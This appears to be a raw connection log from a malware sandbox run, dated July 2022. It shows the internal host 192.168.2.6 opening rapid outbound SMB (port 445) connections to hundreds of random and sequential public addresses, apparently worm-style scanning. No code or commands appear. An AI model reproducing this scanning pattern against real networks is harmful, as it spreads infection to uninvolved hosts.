Jul 20, 2022 06:08:01.422245979 CEST	53326	445	192.168.2.6	50.49.225.23
Jul 20, 2022 06:08:01.422771931 CEST	53327	445	192.168.2.6	48.247.35.173
Jul 20, 2022 06:08:01.423280954 CEST	53328	445	192.168.2.6	81.239.154.47
Jul 20, 2022 06:08:01.424653053 CEST	53331	445	192.168.2.6	113.108.18.143
Jul 20, 2022 06:08:01.437953949 CEST	53335	445	192.168.2.6	178.159.42.68
Jul 20, 2022 06:08:01.438458920 CEST	53336	445	192.168.2.6	37.21.160.69
Jul 20, 2022 06:08:01.439157963 CEST	53337	445	192.168.2.6	176.241.42.35
Jul 20, 2022 06:08:01.451721907 CEST	445	53323	107.186.37.5	192.168.2.6
Jul 20, 2022 06:08:01.466085911 CEST	445	53335	178.159.42.68	192.168.2.6
Jul 20, 2022 06:08:01.524971008 CEST	53339	445	192.168.2.6	107.186.37.6
Jul 20, 2022 06:08:01.584465981 CEST	53341	445	192.168.2.6	80.198.69.115
Jul 20, 2022 06:08:01.584820032 CEST	53343	445	192.168.2.6	88.155.16.137
Jul 20, 2022 06:08:01.584878922 CEST	53344	445	192.168.2.6	85.53.26.93
Jul 20, 2022 06:08:01.584928036 CEST	53345	445	192.168.2.6	45.217.159.79
Jul 20, 2022 06:08:01.584989071 CEST	53346	445	192.168.2.6	58.250.51.175
Jul 20, 2022 06:08:01.585098028 CEST	53349	445	192.168.2.6	195.84.158.35
Jul 20, 2022 06:08:01.585216999 CEST	53351	445	192.168.2.6	65.219.191.54
Jul 20, 2022 06:08:01.585238934 CEST	53350	445	192.168.2.6	93.159.58.62
Jul 20, 2022 06:08:01.585407019 CEST	53358	445	192.168.2.6	135.169.161.168
Jul 20, 2022 06:08:01.585521936 CEST	53359	445	192.168.2.6	48.103.26.126
Jul 20, 2022 06:08:01.626450062 CEST	53363	445	192.168.2.6	118.163.104.98
Jul 20, 2022 06:08:01.627048016 CEST	53364	445	192.168.2.6	63.45.244.169
Jul 20, 2022 06:08:01.627624035 CEST	53365	445	192.168.2.6	111.107.207.48
Jul 20, 2022 06:08:01.628603935 CEST	53367	445	192.168.2.6	13.204.74.216
Jul 20, 2022 06:08:01.630315065 CEST	53370	445	192.168.2.6	51.238.70.106
Jul 20, 2022 06:08:01.631733894 CEST	53373	445	192.168.2.6	117.131.9.82
Jul 20, 2022 06:08:01.632239103 CEST	53374	445	192.168.2.6	63.15.114.200
Jul 20, 2022 06:08:01.632751942 CEST	53375	445	192.168.2.6	165.56.36.8
Jul 20, 2022 06:08:01.633703947 CEST	53377	445	192.168.2.6	217.82.5.214
Jul 20, 2022 06:08:01.634202957 CEST	53378	445	192.168.2.6	92.243.1.241
Jul 20, 2022 06:08:01.634704113 CEST	53379	445	192.168.2.6	97.150.5.85
Jul 20, 2022 06:08:01.635178089 CEST	53380	445	192.168.2.6	213.84.198.131
Jul 20, 2022 06:08:01.636126041 CEST	53382	445	192.168.2.6	172.83.231.83
Jul 20, 2022 06:08:01.636609077 CEST	53383	445	192.168.2.6	72.55.19.27
Jul 20, 2022 06:08:01.686400890 CEST	445	53303	60.134.107.178	192.168.2.6
Jul 20, 2022 06:08:01.694103956 CEST	445	53339	107.186.37.6	192.168.2.6
Jul 20, 2022 06:08:01.694246054 CEST	53339	445	192.168.2.6	107.186.37.6
Jul 20, 2022 06:08:01.694387913 CEST	53339	445	192.168.2.6	107.186.37.6
Jul 20, 2022 06:08:01.696348906 CEST	53384	445	192.168.2.6	107.186.37.6
Jul 20, 2022 06:08:01.863286972 CEST	445	53339	107.186.37.6	192.168.2.6
Jul 20, 2022 06:08:01.863337040 CEST	445	53339	107.186.37.6	192.168.2.6
Jul 20, 2022 06:08:01.866969109 CEST	445	53384	107.186.37.6	192.168.2.6
Jul 20, 2022 06:08:01.867132902 CEST	53384	445	192.168.2.6	107.186.37.6
Jul 20, 2022 06:08:01.877402067 CEST	53384	445	192.168.2.6	107.186.37.6
Jul 20, 2022 06:08:02.046395063 CEST	53335	445	192.168.2.6	178.159.42.68
Jul 20, 2022 06:08:02.048270941 CEST	445	53384	107.186.37.6	192.168.2.6
Jul 20, 2022 06:08:02.054342985 CEST	53384	445	192.168.2.6	107.186.37.6
Jul 20, 2022 06:08:02.075057983 CEST	445	53335	178.159.42.68	192.168.2.6
Jul 20, 2022 06:08:02.224817991 CEST	445	53384	107.186.37.6	192.168.2.6
Jul 20, 2022 06:08:02.237823009 CEST	53384	445	192.168.2.6	107.186.37.6
Jul 20, 2022 06:08:02.407959938 CEST	445	53384	107.186.37.6	192.168.2.6
Jul 20, 2022 06:08:02.516298056 CEST	53388	445	192.168.2.6	176.241.42.36
Jul 20, 2022 06:08:02.517215014 CEST	53389	445	192.168.2.6	37.21.160.70
Jul 20, 2022 06:08:02.517884016 CEST	53390	445	192.168.2.6	178.159.42.69
Jul 20, 2022 06:08:02.533468008 CEST	53394	445	192.168.2.6	117.158.71.124
Jul 20, 2022 06:08:02.535096884 CEST	53397	445	192.168.2.6	84.126.144.189
Jul 20, 2022 06:08:02.535655022 CEST	53398	445	192.168.2.6	78.175.175.197
Jul 20, 2022 06:08:02.536271095 CEST	53399	445	192.168.2.6	162.22.52.64
Jul 20, 2022 06:08:02.545484066 CEST	445	53390	178.159.42.69	192.168.2.6
Jul 20, 2022 06:08:02.565645933 CEST	445	53388	176.241.42.36	192.168.2.6
Jul 20, 2022 06:08:02.706079006 CEST	53402	445	192.168.2.6	68.236.171.188
Jul 20, 2022 06:08:02.748513937 CEST	53403	445	192.168.2.6	164.103.26.51
Jul 20, 2022 06:08:02.749731064 CEST	53406	445	192.168.2.6	48.53.154.172
Jul 20, 2022 06:08:02.749994993 CEST	53405	445	192.168.2.6	3.72.185.162
Jul 20, 2022 06:08:02.750206947 CEST	53407	445	192.168.2.6	47.245.123.148
Jul 20, 2022 06:08:02.750286102 CEST	53410	445	192.168.2.6	47.183.153.246
Jul 20, 2022 06:08:02.750490904 CEST	53411	445	192.168.2.6	18.7.122.159
Jul 20, 2022 06:08:02.750754118 CEST	53412	445	192.168.2.6	170.161.115.50
Jul 20, 2022 06:08:02.750876904 CEST	53418	445	192.168.2.6	141.224.64.165
Jul 20, 2022 06:08:02.750926971 CEST	53421	445	192.168.2.6	6.90.7.147
Jul 20, 2022 06:08:02.758826017 CEST	53424	445	192.168.2.6	208.1.186.141
Jul 20, 2022 06:08:02.758891106 CEST	53425	445	192.168.2.6	214.170.100.51
Jul 20, 2022 06:08:02.759082079 CEST	53427	445	192.168.2.6	182.153.111.219
Jul 20, 2022 06:08:02.759143114 CEST	53428	445	192.168.2.6	212.10.174.172
Jul 20, 2022 06:08:02.759224892 CEST	53429	445	192.168.2.6	97.203.158.24
Jul 20, 2022 06:08:02.759337902 CEST	53430	445	192.168.2.6	202.21.25.235
Jul 20, 2022 06:08:02.759403944 CEST	53432	445	192.168.2.6	29.129.103.149
Jul 20, 2022 06:08:02.759484053 CEST	53433	445	192.168.2.6	79.17.186.220
Jul 20, 2022 06:08:02.759574890 CEST	53434	445	192.168.2.6	75.231.68.88
Jul 20, 2022 06:08:02.759741068 CEST	53437	445	192.168.2.6	144.14.14.123
Jul 20, 2022 06:08:02.759888887 CEST	53440	445	192.168.2.6	32.101.39.79
Jul 20, 2022 06:08:02.759984970 CEST	53442	445	192.168.2.6	217.144.151.47
Jul 20, 2022 06:08:02.760072947 CEST	53443	445	192.168.2.6	164.17.252.197
Jul 20, 2022 06:08:02.760133028 CEST	53444	445	192.168.2.6	52.249.49.88
Jul 20, 2022 06:08:03.077828884 CEST	53390	445	192.168.2.6	178.159.42.69
Jul 20, 2022 06:08:03.106959105 CEST	445	53390	178.159.42.69	192.168.2.6
Jul 20, 2022 06:08:03.140255928 CEST	53388	445	192.168.2.6	176.241.42.36
Jul 20, 2022 06:08:03.191409111 CEST	445	53388	176.241.42.36	192.168.2.6
Jul 20, 2022 06:08:03.579233885 CEST	53448	445	192.168.2.6	176.241.42.37
Jul 20, 2022 06:08:03.579742908 CEST	53449	445	192.168.2.6	37.21.160.71
Jul 20, 2022 06:08:03.580225945 CEST	53450	445	192.168.2.6	178.159.42.70
Jul 20, 2022 06:08:03.608632088 CEST	445	53450	178.159.42.70	192.168.2.6
Jul 20, 2022 06:08:03.658660889 CEST	53454	445	192.168.2.6	104.208.226.32
Jul 20, 2022 06:08:03.660774946 CEST	53457	445	192.168.2.6	175.38.222.87
Jul 20, 2022 06:08:03.661540031 CEST	53458	445	192.168.2.6	63.236.157.253
Jul 20, 2022 06:08:03.662080050 CEST	53459	445	192.168.2.6	163.51.224.46
Jul 20, 2022 06:08:03.829457998 CEST	53462	445	192.168.2.6	77.99.3.218
Jul 20, 2022 06:08:03.865056992 CEST	53464	445	192.168.2.6	29.57.106.23
Jul 20, 2022 06:08:03.867681980 CEST	53467	445	192.168.2.6	87.201.188.229
Jul 20, 2022 06:08:03.869294882 CEST	53469	445	192.168.2.6	119.70.226.232
Jul 20, 2022 06:08:03.870074034 CEST	53470	445	192.168.2.6	106.58.149.150
Jul 20, 2022 06:08:03.871550083 CEST	53472	445	192.168.2.6	207.172.118.41
Jul 20, 2022 06:08:03.872307062 CEST	53473	445	192.168.2.6	101.248.217.31
Jul 20, 2022 06:08:03.873087883 CEST	53474	445	192.168.2.6	40.136.153.161
Jul 20, 2022 06:08:03.873835087 CEST	53475	445	192.168.2.6	193.249.27.148
Jul 20, 2022 06:08:03.875417948 CEST	53477	445	192.168.2.6	220.164.22.90
Jul 20, 2022 06:08:03.876295090 CEST	53478	445	192.168.2.6	24.208.164.120
Jul 20, 2022 06:08:03.877089977 CEST	53479	445	192.168.2.6	105.171.112.131
Jul 20, 2022 06:08:03.879113913 CEST	53482	445	192.168.2.6	212.11.120.161
Jul 20, 2022 06:08:03.881303072 CEST	53485	445	192.168.2.6	55.85.55.183
Jul 20, 2022 06:08:03.881856918 CEST	53486	445	192.168.2.6	87.141.126.155
Jul 20, 2022 06:08:03.882420063 CEST	53487	445	192.168.2.6	9.171.239.209
Jul 20, 2022 06:08:03.883436918 CEST	53489	445	192.168.2.6	60.21.14.159
Jul 20, 2022 06:08:03.884696007 CEST	53491	445	192.168.2.6	102.108.126.99
Jul 20, 2022 06:08:03.885234118 CEST	53492	445	192.168.2.6	13.117.130.36
Jul 20, 2022 06:08:03.885826111 CEST	53493	445	192.168.2.6	42.213.10.241
Jul 20, 2022 06:08:03.890722036 CEST	53497	445	192.168.2.6	102.136.10.103
Jul 20, 2022 06:08:03.890723944 CEST	53494	445	192.168.2.6	80.86.208.33
Jul 20, 2022 06:08:03.890724897 CEST	53498	445	192.168.2.6	45.94.250.142
Jul 20, 2022 06:08:03.890760899 CEST	53499	445	192.168.2.6	188.166.217.139
Jul 20, 2022 06:08:04.191013098 CEST	445	53499	188.166.217.139	192.168.2.6
Jul 20, 2022 06:08:04.234131098 CEST	53450	445	192.168.2.6	178.159.42.70
Jul 20, 2022 06:08:04.262164116 CEST	445	53450	178.159.42.70	192.168.2.6
Jul 20, 2022 06:08:04.657114029 CEST	53509	445	192.168.2.6	37.21.160.72
Jul 20, 2022 06:08:04.657227993 CEST	53510	445	192.168.2.6	176.241.42.38
Jul 20, 2022 06:08:04.657277107 CEST	53511	445	192.168.2.6	178.159.42.71
Jul 20, 2022 06:08:04.684616089 CEST	445	53511	178.159.42.71	192.168.2.6
Jul 20, 2022 06:08:04.708049059 CEST	445	53510	176.241.42.38	192.168.2.6
Jul 20, 2022 06:08:04.786654949 CEST	53515	445	192.168.2.6	121.38.157.224
Jul 20, 2022 06:08:04.786716938 CEST	53518	445	192.168.2.6	133.182.229.236
Jul 20, 2022 06:08:04.786770105 CEST	53520	445	192.168.2.6	8.250.67.195
Jul 20, 2022 06:08:04.787147045 CEST	53519	445	192.168.2.6	178.78.85.241
Jul 20, 2022 06:08:04.890424967 CEST	53499	445	192.168.2.6	188.166.217.139
Jul 20, 2022 06:08:04.954477072 CEST	53523	445	192.168.2.6	121.116.58.13
Jul 20, 2022 06:08:05.002495050 CEST	53524	445	192.168.2.6	83.47.97.214
Jul 20, 2022 06:08:05.003549099 CEST	53526	445	192.168.2.6	94.59.198.33
Jul 20, 2022 06:08:05.004072905 CEST	53527	445	192.168.2.6	4.231.43.210
Jul 20, 2022 06:08:05.004568100 CEST	53528	445	192.168.2.6	220.245.191.159
Jul 20, 2022 06:08:05.005069017 CEST	53529	445	192.168.2.6	164.163.244.43
Jul 20, 2022 06:08:05.006042957 CEST	53531	445	192.168.2.6	65.247.78.70
Jul 20, 2022 06:08:05.007405043 CEST	53534	445	192.168.2.6	51.26.136.115
Jul 20, 2022 06:08:05.008475065 CEST	53536	445	192.168.2.6	21.132.199.104
Jul 20, 2022 06:08:05.010690928 CEST	53538	445	192.168.2.6	180.118.78.111
Jul 20, 2022 06:08:05.011729002 CEST	53539	445	192.168.2.6	123.63.154.15
Jul 20, 2022 06:08:05.022368908 CEST	53540	445	192.168.2.6	103.51.22.159
Jul 20, 2022 06:08:05.023045063 CEST	53542	445	192.168.2.6	51.119.111.22
Jul 20, 2022 06:08:05.023217916 CEST	53545	445	192.168.2.6	217.152.89.244
Jul 20, 2022 06:08:05.023305893 CEST	53547	445	192.168.2.6	41.40.62.117
Jul 20, 2022 06:08:05.023384094 CEST	53548	445	192.168.2.6	52.221.32.126
Jul 20, 2022 06:08:05.023561954 CEST	53552	445	192.168.2.6	43.54.219.146
Jul 20, 2022 06:08:05.023633003 CEST	53553	445	192.168.2.6	187.250.187.206
Jul 20, 2022 06:08:05.023638964 CEST	53551	445	192.168.2.6	84.246.182.93
Jul 20, 2022 06:08:05.023755074 CEST	53555	445	192.168.2.6	113.27.101.74
Jul 20, 2022 06:08:05.023770094 CEST	53554	445	192.168.2.6	39.232.143.2
Jul 20, 2022 06:08:05.023911953 CEST	53558	445	192.168.2.6	4.11.36.242
Jul 20, 2022 06:08:05.023984909 CEST	53559	445	192.168.2.6	173.50.201.187
Jul 20, 2022 06:08:05.024122000 CEST	53561	445	192.168.2.6	106.68.84.63
Jul 20, 2022 06:08:05.086671114 CEST	445	53547	41.40.62.117	192.168.2.6
Jul 20, 2022 06:08:05.186757088 CEST	445	53499	188.166.217.139	192.168.2.6
Jul 20, 2022 06:08:05.195148945 CEST	53511	445	192.168.2.6	178.159.42.71
Jul 20, 2022 06:08:05.223608017 CEST	445	53511	178.159.42.71	192.168.2.6
Jul 20, 2022 06:08:05.234168053 CEST	53510	445	192.168.2.6	176.241.42.38
Jul 20, 2022 06:08:05.283061028 CEST	445	53510	176.241.42.38	192.168.2.6
Jul 20, 2022 06:08:05.341173887 CEST	445	53540	103.51.22.159	192.168.2.6
Jul 20, 2022 06:08:05.422348022 CEST	53566	445	192.168.2.6	107.186.37.6
Jul 20, 2022 06:08:05.591315031 CEST	445	53566	107.186.37.6	192.168.2.6
Jul 20, 2022 06:08:05.591455936 CEST	53566	445	192.168.2.6	107.186.37.6
Jul 20, 2022 06:08:05.591614962 CEST	53566	445	192.168.2.6	107.186.37.6
Jul 20, 2022 06:08:05.721193075 CEST	53570	445	192.168.2.6	178.159.42.72
Jul 20, 2022 06:08:05.722372055 CEST	53571	445	192.168.2.6	37.21.160.73
Jul 20, 2022 06:08:05.723522902 CEST	53572	445	192.168.2.6	176.241.42.39
Jul 20, 2022 06:08:05.734221935 CEST	53547	445	192.168.2.6	41.40.62.117
Jul 20, 2022 06:08:05.751899004 CEST	445	53570	178.159.42.72	192.168.2.6
Jul 20, 2022 06:08:05.752048969 CEST	53570	445	192.168.2.6	178.159.42.72
Jul 20, 2022 06:08:05.752265930 CEST	53570	445	192.168.2.6	178.159.42.72
Jul 20, 2022 06:08:05.759835005 CEST	445	53566	107.186.37.6	192.168.2.6
Jul 20, 2022 06:08:05.760332108 CEST	53566	445	192.168.2.6	107.186.37.6
Jul 20, 2022 06:08:05.760570049 CEST	53574	445	192.168.2.6	178.159.42.72
Jul 20, 2022 06:08:05.781418085 CEST	445	53570	178.159.42.72	192.168.2.6
Jul 20, 2022 06:08:05.781447887 CEST	445	53570	178.159.42.72	192.168.2.6
Jul 20, 2022 06:08:05.788820028 CEST	445	53574	178.159.42.72	192.168.2.6
Jul 20, 2022 06:08:05.789164066 CEST	53574	445	192.168.2.6	178.159.42.72
Jul 20, 2022 06:08:05.789294004 CEST	53574	445	192.168.2.6	178.159.42.72
Jul 20, 2022 06:08:05.797297955 CEST	445	53547	41.40.62.117	192.168.2.6
Jul 20, 2022 06:08:05.819289923 CEST	445	53574	178.159.42.72	192.168.2.6
Jul 20, 2022 06:08:05.890511036 CEST	53540	445	192.168.2.6	103.51.22.159
Jul 20, 2022 06:08:05.909776926 CEST	53578	445	192.168.2.6	190.102.26.219
Jul 20, 2022 06:08:05.909846067 CEST	53580	445	192.168.2.6	150.191.88.223
Jul 20, 2022 06:08:05.910048962 CEST	53583	445	192.168.2.6	122.5.105.90
Jul 20, 2022 06:08:05.910051107 CEST	53581	445	192.168.2.6	61.205.21.243
Jul 20, 2022 06:08:05.932205915 CEST	445	53566	107.186.37.6	192.168.2.6
Jul 20, 2022 06:08:05.932391882 CEST	53566	445	192.168.2.6	107.186.37.6
Jul 20, 2022 06:08:06.078870058 CEST	53585	445	192.168.2.6	159.137.187.219
Jul 20, 2022 06:08:06.102922916 CEST	445	53566	107.186.37.6	192.168.2.6
Jul 20, 2022 06:08:06.109843969 CEST	53587	445	192.168.2.6	185.214.253.87
Jul 20, 2022 06:08:06.110932112 CEST	53589	445	192.168.2.6	114.148.23.219
Jul 20, 2022 06:08:06.111674070 CEST	53590	445	192.168.2.6	133.111.17.199
Jul 20, 2022 06:08:06.112204075 CEST	53591	445	192.168.2.6	98.5.78.38
Jul 20, 2022 06:08:06.112831116 CEST	53592	445	192.168.2.6	10.107.154.114
Jul 20, 2022 06:08:06.116554976 CEST	53594	445	192.168.2.6	94.140.9.167
Jul 20, 2022 06:08:06.116691113 CEST	53598	445	192.168.2.6	92.11.244.243
Jul 20, 2022 06:08:06.116775990 CEST	53601	445	192.168.2.6	111.184.43.254
Jul 20, 2022 06:08:06.116810083 CEST	53600	445	192.168.2.6	18.7.63.245
Jul 20, 2022 06:08:06.116894007 CEST	53602	445	192.168.2.6	109.88.116.189
Jul 20, 2022 06:08:06.143872976 CEST	53605	445	192.168.2.6	97.245.197.158
Jul 20, 2022 06:08:06.145581007 CEST	53607	445	192.168.2.6	40.85.62.55
Jul 20, 2022 06:08:06.146687984 CEST	53608	445	192.168.2.6	190.48.252.195
Jul 20, 2022 06:08:06.148226023 CEST	53610	445	192.168.2.6	4.100.195.180
Jul 20, 2022 06:08:06.149238110 CEST	53611	445	192.168.2.6	120.45.227.63
Jul 20, 2022 06:08:06.151422024 CEST	53615	445	192.168.2.6	222.205.90.107
Jul 20, 2022 06:08:06.151998043 CEST	53616	445	192.168.2.6	70.180.114.234
Jul 20, 2022 06:08:06.160175085 CEST	53617	445	192.168.2.6	101.6.196.110
Jul 20, 2022 06:08:06.163424969 CEST	53618	445	192.168.2.6	137.114.214.197
Jul 20, 2022 06:08:06.163527966 CEST	53619	445	192.168.2.6	43.127.158.215
Jul 20, 2022 06:08:06.163686991 CEST	53621	445	192.168.2.6	200.108.70.35
Jul 20, 2022 06:08:06.163757086 CEST	53622	445	192.168.2.6	176.148.165.217
Jul 20, 2022 06:08:06.163918972 CEST	53625	445	192.168.2.6	82.95.43.200
Jul 20, 2022 06:08:06.165425062 CEST	53629	445	192.168.2.6	107.186.37.7
Jul 20, 2022 06:08:06.205228090 CEST	445	53622	176.148.165.217	192.168.2.6
Jul 20, 2022 06:08:06.205394030 CEST	53622	445	192.168.2.6	176.148.165.217
Jul 20, 2022 06:08:06.205483913 CEST	53622	445	192.168.2.6	176.148.165.217
Jul 20, 2022 06:08:06.206552029 CEST	53630	445	192.168.2.6	176.148.165.1
Jul 20, 2022 06:08:06.209412098 CEST	445	53540	103.51.22.159	192.168.2.6
Jul 20, 2022 06:08:06.247998953 CEST	445	53622	176.148.165.217	192.168.2.6
Jul 20, 2022 06:08:06.329272032 CEST	445	53622	176.148.165.217	192.168.2.6
Jul 20, 2022 06:08:06.329385996 CEST	53622	445	192.168.2.6	176.148.165.217
Jul 20, 2022 06:08:06.339339018 CEST	445	53629	107.186.37.7	192.168.2.6
Jul 20, 2022 06:08:06.339479923 CEST	53629	445	192.168.2.6	107.186.37.7
Jul 20, 2022 06:08:06.339626074 CEST	53629	445	192.168.2.6	107.186.37.7
Jul 20, 2022 06:08:06.341556072 CEST	53631	445	192.168.2.6	107.186.37.7
Jul 20, 2022 06:08:06.390929937 CEST	445	53601	111.184.43.254	192.168.2.6
Jul 20, 2022 06:08:06.511977911 CEST	445	53629	107.186.37.7	192.168.2.6
Jul 20, 2022 06:08:06.512001991 CEST	445	53629	107.186.37.7	192.168.2.6
Jul 20, 2022 06:08:06.514610052 CEST	445	53631	107.186.37.7	192.168.2.6
Jul 20, 2022 06:08:06.515516996 CEST	53631	445	192.168.2.6	107.186.37.7
Jul 20, 2022 06:08:06.515554905 CEST	53631	445	192.168.2.6	107.186.37.7
Jul 20, 2022 06:08:06.686856985 CEST	445	53631	107.186.37.7	192.168.2.6
Jul 20, 2022 06:08:06.687099934 CEST	53631	445	192.168.2.6	107.186.37.7
Jul 20, 2022 06:08:06.798667908 CEST	53636	445	192.168.2.6	176.241.42.40
Jul 20, 2022 06:08:06.799324989 CEST	53637	445	192.168.2.6	37.21.160.74
Jul 20, 2022 06:08:06.861102104 CEST	445	53631	107.186.37.7	192.168.2.6
Jul 20, 2022 06:08:06.861352921 CEST	53631	445	192.168.2.6	107.186.37.7
Jul 20, 2022 06:08:07.019298077 CEST	53643	445	192.168.2.6	38.68.212.169
Jul 20, 2022 06:08:07.020020008 CEST	53644	445	192.168.2.6	126.47.0.195
Jul 20, 2022 06:08:07.020709991 CEST	53645	445	192.168.2.6	177.184.211.117
Jul 20, 2022 06:08:07.022528887 CEST	53647	445	192.168.2.6	199.32.149.114
Jul 20, 2022 06:08:07.035561085 CEST	445	53631	107.186.37.7	192.168.2.6
Jul 20, 2022 06:08:07.047205925 CEST	53601	445	192.168.2.6	111.184.43.254
Jul 20, 2022 06:08:07.204940081 CEST	53650	445	192.168.2.6	123.5.188.145
Jul 20, 2022 06:08:07.224934101 CEST	53651	445	192.168.2.6	201.29.101.94
Jul 20, 2022 06:08:07.226248026 CEST	53652	445	192.168.2.6	84.157.144.230
Jul 20, 2022 06:08:07.226429939 CEST	53655	445	192.168.2.6	55.96.227.231
Jul 20, 2022 06:08:07.226428986 CEST	53653	445	192.168.2.6	37.94.186.77
Jul 20, 2022 06:08:07.226640940 CEST	53659	445	192.168.2.6	218.103.231.154
Jul 20, 2022 06:08:07.226737976 CEST	53662	445	192.168.2.6	203.102.6.250
Jul 20, 2022 06:08:07.226749897 CEST	53661	445	192.168.2.6	219.157.97.3
Jul 20, 2022 06:08:07.226878881 CEST	53663	445	192.168.2.6	92.183.66.16
Jul 20, 2022 06:08:07.226973057 CEST	53664	445	192.168.2.6	203.101.48.153
Jul 20, 2022 06:08:07.227036953 CEST	53666	445	192.168.2.6	42.73.64.203
Jul 20, 2022 06:08:07.267765999 CEST	53667	445	192.168.2.6	213.35.63.119
Jul 20, 2022 06:08:07.268702030 CEST	53668	445	192.168.2.6	154.67.18.191
Jul 20, 2022 06:08:07.270319939 CEST	53670	445	192.168.2.6	7.78.46.176
Jul 20, 2022 06:08:07.271177053 CEST	53671	445	192.168.2.6	107.74.115.110
Jul 20, 2022 06:08:07.275674105 CEST	53673	445	192.168.2.6	29.224.228.159
Jul 20, 2022 06:08:07.284142017 CEST	53676	445	192.168.2.6	176.148.165.2
Jul 20, 2022 06:08:07.284265041 CEST	53677	445	192.168.2.6	38.248.66.63
Jul 20, 2022 06:08:07.284404993 CEST	53678	445	192.168.2.6	100.90.234.136
Jul 20, 2022 06:08:07.284514904 CEST	53679	445	192.168.2.6	97.162.27.95
Jul 20, 2022 06:08:07.284673929 CEST	53681	445	192.168.2.6	160.56.168.106
Jul 20, 2022 06:08:07.284852982 CEST	53684	445	192.168.2.6	155.247.18.218
Jul 20, 2022 06:08:07.285362005 CEST	53688	445	192.168.2.6	172.118.222.168
Jul 20, 2022 06:08:07.285470963 CEST	53689	445	192.168.2.6	193.98.203.202
Jul 20, 2022 06:08:07.321563005 CEST	445	53601	111.184.43.254	192.168.2.6
Jul 20, 2022 06:08:07.876214981 CEST	53697	445	192.168.2.6	37.21.160.75
Jul 20, 2022 06:08:07.876987934 CEST	53698	445	192.168.2.6	176.241.42.41
Jul 20, 2022 06:08:08.128099918 CEST	53704	445	192.168.2.6	129.241.94.180
Jul 20, 2022 06:08:08.128825903 CEST	53705	445	192.168.2.6	92.60.44.106
Jul 20, 2022 06:08:08.129121065 CEST	53706	445	192.168.2.6	135.246.148.205
Jul 20, 2022 06:08:08.130131006 CEST	53708	445	192.168.2.6	195.23.6.110
Jul 20, 2022 06:08:08.329385996 CEST	53711	445	192.168.2.6	114.224.205.151
Jul 20, 2022 06:08:08.345393896 CEST	53712	445	192.168.2.6	98.41.37.1
Jul 20, 2022 06:08:08.346209049 CEST	53713	445	192.168.2.6	130.128.12.175
Jul 20, 2022 06:08:08.348536015 CEST	53714	445	192.168.2.6	163.244.128.9
Jul 20, 2022 06:08:08.349550009 CEST	53715	445	192.168.2.6	81.164.28.120
Jul 20, 2022 06:08:08.352339983 CEST	53721	445	192.168.2.6	135.124.31.7
Jul 20, 2022 06:08:08.352813959 CEST	53722	445	192.168.2.6	154.223.19.122
Jul 20, 2022 06:08:08.353327036 CEST	53723	445	192.168.2.6	145.202.199.149
Jul 20, 2022 06:08:08.353837013 CEST	53724	445	192.168.2.6	45.130.132.3
Jul 20, 2022 06:08:08.354805946 CEST	53726	445	192.168.2.6	169.134.93.141
Jul 20, 2022 06:08:08.355338097 CEST	53727	445	192.168.2.6	111.121.156.67
Jul 20, 2022 06:08:08.360332966 CEST	53728	445	192.168.2.6	176.148.165.3
Jul 20, 2022 06:08:08.378734112 CEST	53730	445	192.168.2.6	176.140.72.146
Jul 20, 2022 06:08:08.378968954 CEST	53729	445	192.168.2.6	125.156.172.83
Jul 20, 2022 06:08:08.378977060 CEST	53732	445	192.168.2.6	144.177.94.214
Jul 20, 2022 06:08:08.379093885 CEST	53733	445	192.168.2.6	33.158.114.83
Jul 20, 2022 06:08:08.379174948 CEST	53735	445	192.168.2.6	197.247.239.124
Jul 20, 2022 06:08:08.408420086 CEST	53738	445	192.168.2.6	217.208.49.175
Jul 20, 2022 06:08:08.408982992 CEST	53739	445	192.168.2.6	150.142.141.85
Jul 20, 2022 06:08:08.409759998 CEST	53740	445	192.168.2.6	147.67.89.131
Jul 20, 2022 06:08:08.414067030 CEST	53742	445	192.168.2.6	116.114.13.163
Jul 20, 2022 06:08:08.414201975 CEST	53745	445	192.168.2.6	219.185.78.124
Jul 20, 2022 06:08:08.414258957 CEST	53749	445	192.168.2.6	34.222.55.221
Jul 20, 2022 06:08:08.414284945 CEST	53750	445	192.168.2.6	223.254.146.25
Jul 20, 2022 06:08:08.829128981 CEST	53758	445	192.168.2.6	178.159.42.72
Jul 20, 2022 06:08:08.856729031 CEST	445	53758	178.159.42.72	192.168.2.6
Jul 20, 2022 06:08:08.856849909 CEST	53758	445	192.168.2.6	178.159.42.72
Jul 20, 2022 06:08:08.856983900 CEST	53758	445	192.168.2.6	178.159.42.72
Jul 20, 2022 06:08:08.884057999 CEST	445	53758	178.159.42.72	192.168.2.6
Jul 20, 2022 06:08:08.938803911 CEST	53760	445	192.168.2.6	178.159.42.73
Jul 20, 2022 06:08:08.954073906 CEST	53761	445	192.168.2.6	176.241.42.42
Jul 20, 2022 06:08:08.954149961 CEST	53762	445	192.168.2.6	37.21.160.76
Jul 20, 2022 06:08:08.966573954 CEST	445	53760	178.159.42.73	192.168.2.6
Jul 20, 2022 06:08:09.251622915 CEST	53764	445	192.168.2.6	54.81.98.82
Jul 20, 2022 06:08:09.253258944 CEST	53766	445	192.168.2.6	157.122.57.94
Jul 20, 2022 06:08:09.254049063 CEST	53767	445	192.168.2.6	3.208.158.237
Jul 20, 2022 06:08:09.254790068 CEST	53768	445	192.168.2.6	207.135.204.156
Jul 20, 2022 06:08:09.439141035 CEST	53775	445	192.168.2.6	176.148.165.4
Jul 20, 2022 06:08:09.439234972 CEST	53776	445	192.168.2.6	40.47.87.234
Jul 20, 2022 06:08:09.455128908 CEST	53777	445	192.168.2.6	1.250.132.91
Jul 20, 2022 06:08:09.458977938 CEST	53779	445	192.168.2.6	182.97.44.222
Jul 20, 2022 06:08:09.459053040 CEST	53780	445	192.168.2.6	55.9.52.251
Jul 20, 2022 06:08:09.459060907 CEST	53778	445	192.168.2.6	167.68.8.200
Jul 20, 2022 06:08:09.459247112 CEST	53786	445	192.168.2.6	111.76.228.2
Jul 20, 2022 06:08:09.459353924 CEST	53787	445	192.168.2.6	1.138.14.161
Jul 20, 2022 06:08:09.459388971 CEST	53789	445	192.168.2.6	82.90.201.17
Jul 20, 2022 06:08:09.459446907 CEST	53788	445	192.168.2.6	185.4.171.43
Jul 20, 2022 06:08:09.459462881 CEST	53791	445	192.168.2.6	93.201.18.147
Jul 20, 2022 06:08:09.459542036 CEST	53792	445	192.168.2.6	1.126.142.98
Jul 20, 2022 06:08:09.468895912 CEST	53760	445	192.168.2.6	178.159.42.73
Jul 20, 2022 06:08:09.495954037 CEST	445	53760	178.159.42.73	192.168.2.6
Jul 20, 2022 06:08:09.499115944 CEST	445	53788	185.4.171.43	192.168.2.6
Jul 20, 2022 06:08:09.501813889 CEST	53793	445	192.168.2.6	64.177.193.217
Jul 20, 2022 06:08:09.503412008 CEST	53794	445	192.168.2.6	119.74.153.231
